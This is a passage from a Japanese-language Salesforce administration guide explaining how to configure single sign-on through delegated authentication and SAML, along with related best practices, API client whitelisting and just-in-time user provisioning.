を ID プロバイダとして有効化し、1 つ以上のサービスプロバイダを定義できます。これにより、ユーザは
シングルサインオンを使用して、Salesforce から他のアプリケーションに直接アクセスできるようになりま
す。シングルサインオンを使用すると、いくつものパスワードを覚える必要がなく、1 つだけ覚えておけば
よいため、ユーザは非常に助かります。さらに、アプリケーションをタブとして Salesforce 組織に追加でき
るため、ユーザはプログラムを切り替える必要がなくなります。
リモートサイトの設定
指定ログイン情報
指定ログイン情報では、1 つの定義にコールアウトエンドポイントの URL と必要な認証パラメータを指定し
ます。認証済みのコールアウトの設定を簡略化するには、コールアウトエンドポイントとして指定ログイ
ン情報を指定します。代わりに、URL をコールアウトエンドポイントとして指定する場合は、その URL を組
織のリモートサイト設定に登録し、認証を自分で処理する必要があります。たとえば、Apex コールアウト
の場合、コードで認証を処理する必要がありますが、セキュリティが低下し、特に OAuth 実装では複雑に
なる可能性があります。
Identity Connect

Identity Connect は、Windows または Linux プラットフォームで実行するサービスを介して Microsoft Active Directory

とSalesforceを統合します。AD ユーザにSalesforceへのシングルサインオンアクセスが提供されます。AD ユー
ザを同期するときに、Salesforce または Identity Connect のいずれかが ID サービスプロバイダとして機能しま
す。
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シングルサインオン実装のベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタマーポータルおよ
びパートナーポータルは
Database.com Edition では
利用できません。

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

Salesforce では一連のベストプラクティスが提供され、代理認証、SAML を使用し
た統合認証、ポータル用のシングルサインオン (SSO)、サイト用の SSO を実装す
るとき、これに従うことができます。
Salesforce では、次の方法で SSO を使用できます。
• Security Assertion Markup Language (SAML) を使用する統合認証を使用すると、関連

付けられているが関連のない Web サービス間で認証データを送信することが
できます。クライアントアプリケーションから Salesforce にログインできま
す。Salesforce では、自動的に組織の統合認証が有効になります。

• 代理認証の SSO を使用すると、Salesforce と選択した認証メソッドを統合する
ことができます。これにより、LDAP (Lightweight Directory Access Protocol) サーバ
による認証を統合するか、認証にパスワードの変わりにトークンを使用する
ことができます。代理認証は組織レベルではなく権限レベルで管理するた
め、柔軟性がより高くなります。権限を使用すれば、一部のユーザには代理
認証を義務付け、その他のユーザはSalesforceによって管理されるパスワード
を使用するようにできます。
代理認証には次の利点があります。
– 安全な ID プロバイダとのインテグレーションなど、より厳密なユーザ認

証を使用できる
– ログインページを非公開にし、企業ファイアウォールの内側からのみア

クセスできるようにする
– フィッシング攻撃を減らすために、Salesforceを使用する他のすべての企業

と差別化できる
代理認証を組織で設定する前に、Salesforce に連絡して代理認証を有効にする
必要があります。

• 認証プロバイダは外部サービスプロバイダのログイン情報を使用して、
Salesforce組織にユーザがログインできるようにします。Salesforceでは、OpenID

Connect プロトコルがサポートされており、ユーザは任意の OpenID Connect プ
ロバイダ (Google、PayPal、LinkedIn など) からログインできます。認証プロバイ
ダが有効化されている場合、Salesforce はユーザのパスワードを検証しませ
ん。代わりに、Salesforce は外部サービスプロバイダのユーザログイン情報を
使用して、認証情報を設定します。

さらに、サイトだけでなくポータルで使用するように SAML を設定することもできます。

代理認証のベストプラクティス
組織用に代理認証 SSO を実装するときは、次のベストプラクティスを考慮してください。
• 組織の Web サービスの実装は Salesforce サーバからアクセスできる必要があるため、DMZ のサーバで Web

サービスをリリースする必要があります。Salesforceで、[代理認証] セクションに代理ゲートウェイ URL を入
力するときは、サーバの外部 DNS 名を使用してください。[設定] から、[クイック検索]ボックスに「シング
ルサインオン設定」と入力し、[シングルサインオン設定] を選択します。
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• Salesforce とシステムを接続できない場合、または要求の処理に 10 秒以上かかる場合、ログインが失敗しま
す。ユーザには、企業認証サービスが停止していることを示すエラーメッセージが表示されます。

• 名前空間、要素名、大文字の使用は、SOAP リクエストにあるとおりとします。可能な限り、WSDL ファイル
からサーバスタブを生成して正確性を保つようにします。

• セキュリティ上の理由から、Web サービスは TLS で使用可能にしてください。Verisign や Thawte など、信頼
できるプロバイダから得た証明書が必要です。信頼できるプロバイダの一覧については、Salesforce にお問
い合わせください。

• ログイン要求を出した IP アドレスは、アクセス元 IP です。この情報を使用して、ユーザの場所に基づいて
アクセスを制限します。また、ログイン IP 範囲を検証する Salesforce 機能は、SSO ユーザに適用されます。
詳細は、「ユーザが Salesforce にログインできる範囲と時間帯の制限」 (ページ 981)を参照してください。

• 社内組織で利用しているユーザ名と Salesforce ユーザ名との対応付けが必要な場合があります。組織が標準
の対応付けに従っていない場合、ユーザデータベーススキーマ (Active Directory など) を拡張して、Salesforce

ユーザ名をユーザアカウントの属性として含めてみてください。そうすることで、お使いの認証サービス
で、この属性を使用してユーザアカウントを対応付けることができます。

• Salesforceシステム管理者には SSO を有効にしないことをお勧めします。Salesforceシステム管理者が SSO ユー
ザである場合、SSO サーバが機能停止すると、システム管理者は Salesforce にログインできなくなります。
Salesforce システム管理者が Salesforce にログインでき、問題が発生した場合に SSO を無効にできるようにし
てください。

• 組織に実装する前に SSO ソリューションを開発するときには、Developer Edition または Sandbox のアカウント
の使用をお勧めします。無償の Developer Edition アカウントにサインアップするには、developer.salesforce.com

にアクセスしてください。
• Salesforce for Outlook、Connect for Office、およびConnect Offlineなどの Salesforceクライアントで実装を必ずテスト

してください。詳細は、「Salesforce クライアントのシングルサインオン」を参照してください。

SAML ベストプラクティスを使用した統合認証
組織用に SAML で統合 SSO を実装するときは、次のベストプラクティスを考慮してください。
• Salesforce ログイン URL を [シングルサインオン設定] ページから取得し、ID プロバイダで対応する設定パラ

メータに入力してください。この設定は、受信者 URL と呼ばれることがあります。
• Salesforce では、IDP サーバを使用したクロックスキューが最大 3 分間許可されます。サーバのクロックが最

新になっていることを確認してください。
• SAML アサーションを使ったログインができない場合、ログイン履歴をチェックし、エラーメッセージを記

録します。トラブルシューティングするには、[シングルサインオン設定] ページで SAML アサーション検証
を使用します。

• 組織の社内ユーザ名と Salesforce ユーザ名を対応付けてください。名前を対応付けるには、各 Salesforce ユー
ザの FederationIdentifier 項目に一意の識別子を追加します。ユーザデータベーススキーマ (Active

Directory など) を拡張して、Salesforce ユーザ名をユーザアカウントの属性として含めることもできます。
[SAML のユーザ ID 種別]項目の対応するオプションを選択し、SAML アサーションの識別子を送信するよ
う、認証サービスを設定します。

• SAML アサーションを使用したログインをユーザに許可する前に、SAML 組織設定を有効にし、必要な設定を
行ってください。
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• ユーザが Salesforce に直接ログインできないようにするには、[私のドメイン] 機能を使用し、ログインポリ
シーについてシステム管理者が制御できるようにします。[シングルサインオン設定] 設定ページの
[Salesforce ログイン URL] 値で指定した URL パラメータをカスタムドメインで使用できます。
たとえば、[Salesforce ログイン URL] が https://login.salesforce.com/?saml=02HKiP...の場
合、
https://yourDomain.my.salesforce.com/?saml=02HKiP...を使用できます。

• SAML SSO リューションをテストするときには、Developer Edition または Sandbox のアカウントの使用をお勧め
します。無償の Developer Edition アカウントにサインアップするには、developer.salesforce.comにアクセスして
ください。

• Sandbox のコピーは、SAML を使用する統合認証を無効にして作成されます。[Salesforce ログイン URL]

の値を除き、設定情報はすべて保存されます。[Salesforce ログイン URL]は、SAML を再度有効にした
後で、Sandbox URL と一致するように更新されます (例: https://yourInstance.salesforce.com/)。
Sandbox で SAML を有効化するには、[設定] から [クイック検索]ボックスに「シングルサインオン設定」と入
力し、[シングルサインオン設定] を選択します。次に、[編集] をクリックして [SAML を有効化]を選択し
ます。

• ID プロバイダによって、ユーザがサービスプロバイダの利用者 URL を設定することが許可されている必要
があります。この値は SSO 設定の [エンティティ ID]の値と一致する必要があります。デフォルトは、
https://saml.salesforce.com です。

ポータルの SSO のベストプラクティス
Summer '13 リリースの時点では、新しい組織にカスタマーポータルとパートナーポータルを使用できません。
代わりに、コミュニティを使用します。ポータルを引き続き使用する場合は、次の要件に注意してください。
• ポータルで使用できるのは、SAML バージョン 2.0 のみです。
• カスタマーポータルおよびパートナーポータルのみがサポートされます。
• ログインを開始したサービスプロバイダはサポートされません。
• portal_id 属性と organization_id 属性が両方とも必要です。1 つだけ指定した場合、ユーザにはエ

ラーが表示されます。
• portal_id および organization_id の両方の属性が SAML アサーションに存在する場合、ユーザはその

ポータルログインに送られます。どちらも指定されていない場合、ユーザは通常の SAML Salesforceログイン
に送られます。

• 1 つの組織で複数のポータルを使用できます。

サイトの SSO のベストプラクティス
• サイトで使用できるのは、SAML バージョン 2.0 のみです。
• カスタマーポータルおよびパートナーポータルのみがサポートされます。
• ログインを開始したサービスプロバイダはサポートされません。
• portal_id、organization_id、siteUrl属性が必要です。1 つだけ指定した場合、ユーザにはエラーが

表示されます。
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• portal_id、organization_id、および siteUrlのすべての属性が SAML アサーションに存在する場合、
ユーザはそのサイトログインに送られます。siteUrlが入力されておらず、他の 2 つの属性が入力されて
いる場合、ユーザはポータルログインに送られます。

• 1 つの組織で複数のポータルを使用できます。

関連トピック:

シングルサインオン

代理認証シングルサインオン

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

代理認証シングルサインオン (SSO) を使用すると、Salesforce を好みの認証方法と
統合できます。LDAP (Lightweight Directory Access Protocol) サーバと統合するか、パス
ワードの代わりにトークンで認証できます。代理認証は組織レベルではなく権
限レベルで管理するため、柔軟性がより高くなります。権限を使用すれば、一
部のユーザには代理認証を義務付け、その他のユーザは Salesforce によって管理
されるパスワードを使用するようにできます。
Salesforce で代理認証 SSO を使用してユーザを認証するプロセスは次のとおりで
す。
1. ユーザが、オンラインまたは API の使用のいずれかでログインしようとする

と、Salesforceはユーザ名を確認し、そのユーザの権限とアクセス設定をチェッ
クします。

2. ユーザに「シングルサインオンの有効」ユーザ権限がある場合、Salesforce は
ユーザ名とパスワードを確認しません。代わりに、ユーザの組織に Web サー
ビスコールを行って、ユーザ名とパスワードを確認するように依頼します。

メモ: Salesforce では、パスワードの格納、記録、または表示は行いませ
ん。パスワードは、プロセスの完了直後に破棄されます。

3. Web サービスコールは、ユーザ名、パスワード、アクセス元 IP を Web サービ
スに渡します。アクセス元 IP は、ログイン要求を出した IP アドレスです。
Salesforceサーバがアクセスできる Web サービスの実装を作成してリリースす
る必要があります。

4. Web サービスの実装では、渡された情報を確認し、true または false を返
します。

5. 返答が true ならば、ログイン処理を続行して、新しいセッションを生成
し、ユーザはアプリケーションの処理を進めます。false の場合、ユーザにはユーザ名とパスワードの組
み合わせが無効であることを示すエラーメッセージが表示されます。

メモ: 代理認証を使用すると、ログイン時にユーザアカウントが組織で使用可能になるまでわずかな遅れ
を感じることがあります。

関連トピック:

シングルサインオン
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代理認証向けの Salesforce 設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

代理認証は組織レベルではなく権限レベルで管理するため、柔軟性がより高く
なります。権限を使用すれば、一部のユーザには代理認証を義務付け、その他
のユーザはSalesforceによって管理されるパスワードを使用するようにできます。
Salesforce に問い合わせて代理認証機能を有効にしてから、組織で設定する必要
があります。
1. SSO Web サービスを構築します。

a. Salesforce で Web サービス記述言語 (WSDL) ファイル
AuthenticationService.wsdl をダウンロードします。[設定] から、
[クイック検索] ボックスに「API」と入力し、[API] を選択してから [代理
認証 WSDL をダウンロード] を選択します。
WSDL ファイルには代理認証 SSO サービスが記述されています。WSDL ファ
イルを使用してサーバ側スタブを生成し、SSO 実装をこれに追加します。
たとえば、Apache Axis から入手できる WSDL2Java ツールでは、
--server-sideスイッチを使用します。.NET wsdl.exe ツールでは、/server

スイッチを使用します。
要求と応答のサンプルについての詳細は、「代理認証の SOAP メッセージ
のサンプル」 (ページ 1069)を参照してください。

b. 企業イントラネットまたはその他の社内サイトにリンクを追加し、そこ
で認証済みユーザの認証情報を取得し、それを HTTP POST 経由で Salesforce

ログインページに渡します。
Salesforceでは、パスワードを戻すこと以外にパスワード項目が使用されな
いため、パスワードを渡さないでください。代わりに、Kerberos Ticket など
の他の認証トークンを渡して、企業パスワードが Salesforce との間でやり
取りされないようにします。
Salesforce代理認証機関を設定して、トークンのみを受け付けるか、トークンかパスワードのいずれかを
受け付けるようにすることができます。機関がトークンのみを受け付ける場合、Salesforceユーザは有効
なトークンを作成できないため、Salesforceに直接ログインできません。ただし、多くの機関ではトーク
ンとパスワードが両方ともサポートされます。この場合、ユーザはログインページ経由でSalesforceにロ
グインできます。
Salesforce サーバから Authenticate メッセージでログイン情報が戻されたら、それを確認します。そ
の後、ユーザはアプリケーションにアクセスできるようになります。

2. Salesforce では、組織の SSO ゲートウェイ URL を指定します。[設定] から、[クイック検索] ボックスに「シン
グルサインオン」と入力し、[シングルサインオン設定]を選択し、[編集]をクリックします。URL を代理ゲー
トウェイ URL テキストボックスに入力します。セキュリティ上の理由から、Salesforce では、送信ポートを
次のうちいずれかに制限します。
• 80: HTTP 接続のみを受け付けます。
• 443: HTTPS 接続のみを受け付けます。
• 1024–66535: HTTP 接続または HTTPS 接続を受け付けます。
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3. 必要に応じて、[代理認証コールアウトの強制実行] を選択します。

メモ: すべてのログイン試行を記録する必要がある場合は、このオプションを選択します。このオプ
ションでは、ログイン制限が失敗したかどうかに関係なく、SSO エンドポイントへのコールアウトが
強制的に実行されます。このオプションを選択しない場合、Salesforce 組織内のログイン制限のために
最初のログイン試行が失敗すると、SSO エンドポイントへのコールは行われません。

4. 「シングルサインオンの有効」権限を有効にします。

重要:

関連トピック:

シングルサインオン
代理認証シングルサインオン

Salesforce 組織への個々の API クライアントアクセスの制御

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

API クライアントホワイトリストでは、データローダなどのすべての API クライ
アントアプリケーションを制限し、ユーザのプロファイルまたは権限セットに
「任意の API クライアントを使用」権限がない場合はシステム管理者の承認を必
須にすることができます。
システム管理者は、「API の有効化」権限を使用して一部のユーザに API アクセ
ス権を付与できます。この権限が付与されたユーザは、あらゆるクライアント
(データローダ、Salesforce1、Salesforce for Outlook、Force.com 移行ツールなど) から
API にアクセスできます。ユーザが API アクセスに使用できるアプリケーション
をより詳細に制御するには、API クライアントホワイトリストを実装します。こ
の機能は、接続アプリケーションの既存の認証機能を利用します。API クライア
ントホワイトリストでは、関連付けられた各接続アプリケーションへの個々の
クライアントアプリケーションアクセスをシステム管理者が承認またはブロッ
クできます。接続アプリケーションとして設定されていないすべてのクライア
ントアプリケーションは、アクセスを拒否されます。接続アプリケーションを
使用していない場合は、個々のユーザに「任意の API クライアントを使用」が有
効化されたプロファイルまたは権限セットを割り当てることで、そのユーザに
対してこの制限を緩和できます。

メモ:  API クライアントホワイトリストを有効にするには、Salesforce に連絡
してください。ホワイトリストの有効化後、システム管理者が明示的に許
可するまで、すべてのクライアントアクセスは制限されます。この制限に
より、ユーザがすでに使用しているアプリケーションへのアクセスがブロッ
クされる可能性があります。この機能を有効にする前に、ユーザに継続使
用を許可するクライアントアプリケーション用の接続アプリケーションを
設定および承認するか、ユーザに「任意の API クライアントを使用」が有効
化されたプロファイルまたは権限セットを割り当てる必要があります。

API クライアントホワイトリストを設定する手順は、次のとおりです。
1. Salesforce に連絡して組織でこの機能を有効化します。
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2. [設定] から、[クイック検索]ボックスに「接続アプリケーション」と入力し、接続アプリケーションを管理
するオプションを選択します。

3. [アプリケーションアクセス設定] で [編集] をクリックします。
4. [「管理者が承認したユーザは事前承認済み」ポリシーが適用されたインストール済み接続アプリケーショ

ンのみに API アクセスを制限します] を選択します。
必要に応じて [Visualforce ページでこの制限のスキップを許可します] を選択し、API を使用する Visualforce

ページが引き続き組織のオブジェクトにアクセスできるようにします。このオプションを選択せずに API ク
ライアントホワイトリストを有効にすると、承認済み接続アプリケーションのみが許可され、Visualforceペー
ジが期待どおりに動作しない可能性があります。また、オンにしない場合、getSessionId()をコールす
るクライアントアプリケーションはアクセスが拒否されます。このチェックボックスがオンでない限り、
Visualforce コンテキストで取得したセッションを使用して Salesforce への API コールを行うアプリケーション
はアクセスを拒否されます。

5. [保存] をクリックします。
この機能を選択すると、ユーザに「任意の API クライアントを使用」が有効化されたプロファイルまたは権限
セットが割り当てられていない場合、すべてのクライアントアプリケーションが組織で許可されるには、シス
テム管理者が明示的に承認する必要があります。
よく使用されるアプリケーションの一部のコンポーネントは、接続アプリケーションとして組織に自動的にイ
ンストールされます。これらのコンポーネントでは、データローダ、Salesforce1、ワークベンチなどのアプリ
ケーションがサポートされます。この機能を選択すると、ユーザに「任意の API クライアントを使用」が有効
化されたプロファイルまたは権限セットが割り当てられていない場合、これらのコンポーネントでも承認が必
要になります。これらのコンポーネントについての詳細は、「接続アプリケーションの管理」を参照してくだ
さい。

シングルサインオンのログインエラーの参照

ユーザ権限

シングルサインオンのロ
グインエラーを参照する
• 「すべてのデータの編

集」

組織が代理認証を使用するシングルサインオンを有効にしていて、シングルサ
インオンのソリューションを開発していた場合、その組織の最新のシングルサ
インオンのエラーを参照できます。
1. [設定] から、[クイック検索]ボックスに「代理認証のエラー履歴」と入力し、

[代理認証のエラー履歴] を選択します。
2. 最近の 21 件のログインエラーに対して、ユーザ名、ログイン時間およびエ

ラーを参照できます。

メモ: 組織のシングルサインオンの有効化についての詳細は、Salesforce にお問い合わせください。

関連トピック:

シングルサインオン
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SAML

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

企業ポータルまたは ID プロバイダからSalesforceにシングルサインオンするため、
Salesforce ID では XML ベースの Security Assertion Markup Language (SAML) プロトコルが
使用されます。SAML を使用すると、Salesforce から Microsoft 365 へというように
サービス間でユーザ情報を転送できます。
シングルサインオン (SSO) を設定する作業の多くは、ID プロバイダで行います。
1. SAML ID プロバイダを設定し、Salesforceへの接続方法に関する情報を収集しま

す。ID プロバイダは、SSO 要求を Salesforce に送信します。
2. ID プロバイダに、スタートページ、ログアウトページの URL などの情報を提

供します。
3. シングルサインオン用の SAML の設定の手順で、Salesforce を設定します。

Salesforce で行う手順はこれだけです。
ID プロバイダは、[SAML Web シングルサインオンブラウザ POST] プロファイルを
使用して、SAML アサーションを Salesforceに送信します。Salesforceは SAML レスポ
ンスを ID プロバイダログイン URL に送信します。この URL は、[設定] で [クイッ
ク検索]ボックスに「シングルサインオン」と入力し、[シングルサインオン設定]

を選択して指定します。Salesforce はアサーションを受信して、それを Salesforce

の設定と照合し、アサーションが「True」ならば SSO を許可します。
Salesforceを SAML 用に設定した後に SAML アサーションに問題が発生した場合は、
[SAML アサーション検証] を使用して SAML アサーションを検証します。SAML ア
サーションは ID プロバイダから取得できます。
ユーザが SAML を使用してログインできない場合は、SAML ログイン履歴を確認
して理由を判断します。ログイン履歴を ID プロバイダと共有すると、問題を迅
速に解決できます。
[メタデータのダウンロード] をクリックし、ID プロバイダに送信する SAML 設定
の XML ファイルをダウンロードします。これによって ID プロバイダはこれらを
設定にアップロードし、Salesforce 組織のコミュニティに接続できるようになり
ます。

ID プロバイダの使用
シングルサインオン用の SAML 設定
シングルサインオン設定の表示と編集
SAML を使用するように Salesforce組織を設定したら、SAML 設定を [シングルサ
インオン設定] ページから管理できます。
ID プロバイダの値
SAML の開始ページ、エラーページ、ログインページ、およびログアウトページのカスタマイズ
サンプル SAML アサーション
SAML ログイン履歴のレビュー
シングルサインオン用の SAML 設定の検証

1048

シングルサインオンSalesforce 組織の設定および管理



SAML アサーション検証エラー

ID プロバイダの使用

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

1. Salesforceに SAML を設定する前に、ID プロバイダから次の情報を収集する必要
があります。
• ID プロバイダが使用する SAML のバージョン (1.1 または 2.0)

• ID プロバイダのエンティティ ID (発行者)

• 認証証明書。

ヒント: ブラウザからアクセスする場合、証明書の保存場所を確認し
てください。後の手順で Salesforce アップロードされます。

• 必要に応じて、次の SAML アサーションパラメータ
– SAML のユーザ ID 種別
– SAML のユーザ ID の場所
– 属性名
– 属性の URI

– 名前 ID の形式

メモ: 属性名、属性 URI、名前 ID の形式は、[SAML のユーザ ID の場
所]が Attribute 要素で、Subject 文の名前識別子用途ではない場合にの
み必要となります。

ヒント: シングルサインオンをすばやく設定するには、[シングルサ
インオン設定] ページの XML ファイル (または、このファイルを指し
示している URL) から SAML 2.0 設定をインポートできます。XML は ID

プロバイダから入手します。

ID プロバイダと、これらの値に関する詳細情報を共有する場合があります。

ヒント: Salesforce for SAML を有効にし、ID プロバイダのページのスクリー
ンショットを撮影します。[設定] から、[クイック検索] ボックスに「シ
ングルサインオン設定」と入力し、[シングルサインオン設定]を選択し、
[編集] をクリックしてから、[SAML を有効化] を選択します。

2. ID プロバイダを使用して、スタートページ、ログインページ、ログアウト
ページを設定します。

3. サンプル SAML アサーションを IP プロバイダと共有すると、Salesforce正常なシ
ングルサインオンのために必要な情報を形式を確認できます。

関連トピック:

SAML
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シングルサインオン用の SAML 設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

このページから、シングルサインオンを使用するように組織を設定できます。
また、ジャストインタイムプロビジョニングを設定することもできます。これ
らを適切に設定するには、ID プロバイダを使用します。シングルサインオンの
詳細は、「シングルサインオン」を参照してください。ジャストインタイムプ
ロビジョニングの詳細は、「SAML 用のジャストインタイムプロビジョニングに
ついて」を参照してください。
企業 ID プロバイダからSalesforceへのシングルサインオンを行うための SAML 設定
をする手順は、次のとおりです。
1. ID プロバイダから情報を収集します。
2. ID プロバイダに情報を提供します。
3. シングルサインオンを設定します。
4. SAML アサーションを暗号化するように ID プロバイダを設定します (省略可

能)。
5. ジャストインタイムユーザプロビジョニングを有効にします (省略可能)。
6. ジャストインタイムプロビジョニングに [Apex ハンドラを使用したカスタム

SAML JIT] を選択した場合は、SAML JIT ハンドラを編集します。
7. シングルサインオン接続をテストします。

シングルサインオンの設定
1. Salesforce で、[設定] から [クイック検索] ボックスに「シングルサインオン設

定」と入力し、[シングルサインオン設定] を選択し、[編集] をクリックしま
す。

2. [SAML を有効化] を選択します。SAML シングルサインオン設定を表示する
には、SAML を有効にする必要があります。

3. ID プロバイダが使用する SAML のバージョンを指定します。
4. [保存] をクリックします。
5. [SAML シングルサインオン設定] で、次の中から適切なボタンをクリックして

設定を作成します。
• 新規 - すべての設定を手動で指定します。
• メタデータファイルから新規作成 - ID プロバイダの XML ファイルから SAML

2.0 設定をインポートします。このオプションでは、XML ファイルを読み
取り、その内容を基にできるだけ多くの設定を行います。

メモ:  XML ファイルに複数の設定の情報が含まれている場合は、XML ファイルで最初にある設定が
使用されます。

• メタデータ URL から新規作成 - 公開 URL から SAML 2.0 設定をインポートします。このオプションでは、
公開 URL にある XML ファイルを読み取り、その内容を基にできるだけ多くの設定を行います。URL は、
[リモートサイトの設定] に追加して、Salesforce 組織からアクセスできるようにする必要があります。
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6. 組織内での参照用に、この設定に [名前] を指定します。
Salesforce により、対応する [API 参照名] 値が挿入されます。この値は、必要に応じてカスタマイズできま
す。

7. [発行者] を入力します。多くの場合、ID プロバイダのエンティティ ID と呼ばれます。
8. Salesforce 組織でドメインをリリースしている場合、[エンティティ ID] として基本ドメイン

(https://saml.salesforce.com) を使用するか、カスタムドメインを使用するかを指定します。この情
報は、ID プロバイダと共有する必要があります。

ヒント: 通常、エンティティ ID としてカスタムドメインを使用します。ドメインをリリースする前に
シングルサインオンが設定済みである場合は、基本ドメインがエンティティ ID になります。Salesforce

を Salesforce サービスに提供する場合、カスタムドメインを指定する必要があります。

9. [ID プロバイダの証明書] の [参照] ボタンを使用して、ID プロバイダが発行する認証証明書を検索および
アップロードします。

10. [証明書の署名要求] で、[証明書と鍵の管理] 設定に保存されたものから目的の証明書を選択します。
11. [署名要求メソッド]で、要求暗号化のハッシュアルゴリズムを RSA-SHA1または RSA-SHA256から選択し

ます。
12. 必要に応じて、ID プロバイダが SAML アサーションを暗号化した場合は、使用されている [アサーション復

号化証明書] を [証明書と鍵の管理] 設定に保存した証明書から選択します。この項目は、組織で複数のシ
ングルサインオン設定がサポートされている場合にのみ使用できます。詳細は、「ID プロバイダへの SAML

アサーションの暗号化の設定」を参照してください。
13. [SAML ID 種別]、[SAML ID の場所]、および「ID プロバイダの値」で説明されているその他の項目に対

して、ID プロバイダによって提供された値を必要に応じて指定します。
14. [サービスプロバイダの起動要求バインド]で、ID プロバイダから提供された情報に基づいて適切な値を選択

します。
15. SAML 2.0 では、ID プロバイダに特定のログオンページまたはログアウトページがある場合、それぞれを [ID

プロバイダのログイン URL] および [ID プロバイダのログアウト URL] で指定します。

メモ: これらの項目は Developer Edition の組織および Sandbox 組織ではデフォルトで表示され、本番組織
では、[私のドメイン] が有効になっている場合に限り表示されます。この項目は、トライアル組織ま
たはトライアル組織にリンクされている Sandbox では表示されません。

16. [カスタムエラー URL] には、SAML ログイン時にエラーが発生した場合にユーザが移動する先のページの
URL を指定します。この URL は、公開サイトの Visualforce ページなど、公開されているページである必要が
あります。URL は相対または絶対のどちらでも使用できます。

17. 必要に応じて、ジャストインタイムユーザプロビジョニングを設定します。詳細は、「ジャストインタイ
ムプロビジョニングの有効化」および「SAML 用のジャストインタイムプロビジョニングについて」を参照
してください。

18. [保存] をクリックします。
[メタデータのダウンロード] をクリックし、ID プロバイダに送信する SAML 設定の XML ファイルをダウンロー
ドします。これによって ID プロバイダはこれらを設定にアップロードし、Salesforce組織のコミュニティに接続
できるようになります。
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ID プロバイダへの SAML アサーションの暗号化の設定
Salesforceが受信 SAML アサーションのサービスプロバイダである場合、保存された証明書を選択し、サードパー
ティの ID プロバイダからの受信アサーションを復号化できます。この証明書のコピーを ID プロバイダに提供
する必要があります。
1. [設定] の [シングルサインオン設定] ページで、新しい SAML 設定を追加します。
2. [アサーション復号化証明書]項目で、[証明書と鍵の管理]設定に保存した証明書から暗号化する証明書を指

定します。

メモ: [アサーション復号化証明書] 項目が表示されない場合は、組織で複数のシングルサインオンを
有効にする必要があります (Summer ’13 リリースより前に作成されて SAML 1.1 を使用していない組織に
該当)。複数のシングルサインオン設定を有効化するには、[シングルサインオン設定] ページの [複数
の設定を有効化] を選択します。この設定がすでに有効化されている場合、項目が表示され、[複数の
設定を有効化] ボタンは表示されません。

3. ID がある要素に [SAML ID の場所] を設定します。
4. 新しい SAML 設定を保存すると、組織の [Salesforce ログイン URL] の SAML 設定値 (「Salesforce ACS URL」

とも呼ばれる) が変更されます。([設定] の [シングルサインオン設定] ページから) 新しい値を取得し、新し
い SAML 設定の名前をクリックします。値は [Salesforce ログイン URL] 項目にあります。

5. ID プロバイダは [Salesforce ログイン URL] 値を使用する必要があります。
6. また、アサーションの暗号化に使用するため、ID プロバイダに [アサーション復号化証明書] で選択した証

明書のコピーを提供する必要があります。

ジャストインタイムプロビジョニングの有効化
1. [SAML シングルサインオン設定] で、[ユーザプロビジョニングの有効化] を選択します。

• 標準  - このオプションを選択すると、アサーションの属性を使用して自動的にユーザをプロビジョニン
グできます。

• Apex ハンドラを使用したカスタム SAML JIT  - このオプションを選択すると、Apexクラスのロジックに
基づいてユーザがプロビジョニングされます。

2. [標準]を選択した場合は、[保存]をクリックし、シングルサインオン接続をテストします。[Apex ハンド
ラを使用したカスタム SAML JIT] を選択した場合は、次のステップに進みます。

3. [SAML JIT ハンドラ] 項目で、既存の Apex クラスを SAML JIT ハンドラクラスとして選択します。このクラ
スは、SamlJitHandler インターフェースを実装している必要があります。Apex クラスがない場合、[SAML JIT

ハンドラテンプレートを自動的に作成する] をクリックしてクラスを生成できます。このクラスを編集して
デフォルトのコンテンツを変更してから使用する必要があります。詳細は、「SAML JIT ハンドラの編集」を
参照してください。

